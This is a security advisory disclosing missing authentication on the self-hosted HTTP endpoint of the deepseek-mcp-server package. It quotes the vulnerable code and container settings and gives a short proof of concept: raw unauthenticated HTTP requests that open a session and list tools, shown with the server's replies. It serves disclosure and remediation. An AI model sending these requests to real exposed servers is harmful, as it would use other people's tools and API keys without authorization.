CVE-2026-55605

@arikusi/deepseek-mcp-server: Missing Authentication on Self-Hosted HTTP MCP Endpoint

Published

2026-08-25

Modified

2026-08-25

EPSS percentile

46%

Aliases

GHSA-72f3-6w86-7rv3

Sources

github-advisory

Summary

## Summary The self-hosted HTTP transport of `@arikusi/deepseek-mcp-server` exposes `POST /mcp` without any authentication: `createMcpExpressApp` is called without an `authProvider` and no middleware guards the route, so any network-reachable client can issue an unauthenticated `initialize` request and obtain a valid MCP session identifier. In reproduced testing against commit `5e1302171e99`, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local `deepseek_sessions` tool with no credentials. The same unauthenticated session also exposes `deepseek_chat`, whose handler uses the server-side `DEEPSEEK_API_KEY` when self-hosted deployments configure one. This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in `README.md`, which expects an `Authorization: Bearer ...` header. Upstream self-hosted container assets enable HTTP mode by default (`Dockerfile`) and publish port `3000` (`docker-compose.yml`). ## Affected Code `src/transport-http.ts:17` — `createMcpExpressApp` called without `authProvider`; no challenge is issued to incoming requests ```typescript export function createHttpApp(serverFactory: () => McpServer) { const app = createMcpExpressApp({ host: '0.0.0.0' }); ``` `src/transport-http.ts:31` — `POST /mcp` handler instantiates a full MCP session for any body that satisfies `isInitializeRequest`, with no preceding auth check ```typescript app.post('/mcp', async (req, res) => { const sessionId = req.headers['mcp-session-id'] as string | undefined; if (sessionId && transports[sessionId]) { await transports[sessionId].handleRequest(req, res, req.body); return; } if (!sessionId && isInitializeRequest(req.body)) { const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (id) => { transports[id] = transport; console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`); }, }); const server = serverFactory(); await server.connect(transport); await transport.handleRequest(req, res, req.body); ``` HTTP client → `POST /mcp` (no auth middleware) → `transport-http.ts:41` (`isInitializeRequest` branch) → `transport-http.ts:57–59` (`serverFactory()+connect+handleRequest`) `Dockerfile:12-13` — upstream container image defaults to self-hosted HTTP mode ```dockerfile ENV TRANSPORT=http ENV HTTP_PORT=3000 ``` `docker-compose.yml:4-8` — upstream compose file publishes port `3000` and enables HTTP mode ```yaml services: deepseek-mcp: ports: - "3000:3000" environment: - TRANSPORT=http ``` ## Proof of Concept Step 1 — send unauthenticated `initialize`: server returns HTTP 200 and a live `mcp-session-id` — proves no credentials are required to establish a session. ```bash python3 poc.py ``` ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}} ``` ```http HTTP/1.1 200 OK content-type: text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba event: message data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1} ``` Step 2 — send unauthenticated `tools/list` on the obtained session: server returns the full tool surface (`deepseek_chat`, `deepseek_sessions`) — proves tool discovery is reachable without credentials. ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Accept: application/json, text/event-stream mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba {"jsonrpc":"2.0","id":2,"method":"tools/list","par

Affected packages

Remediation: Upgrade to 1.8.0 or later.

References

• https://github.com/advisories/GHSA-72f3-6w86-7rv3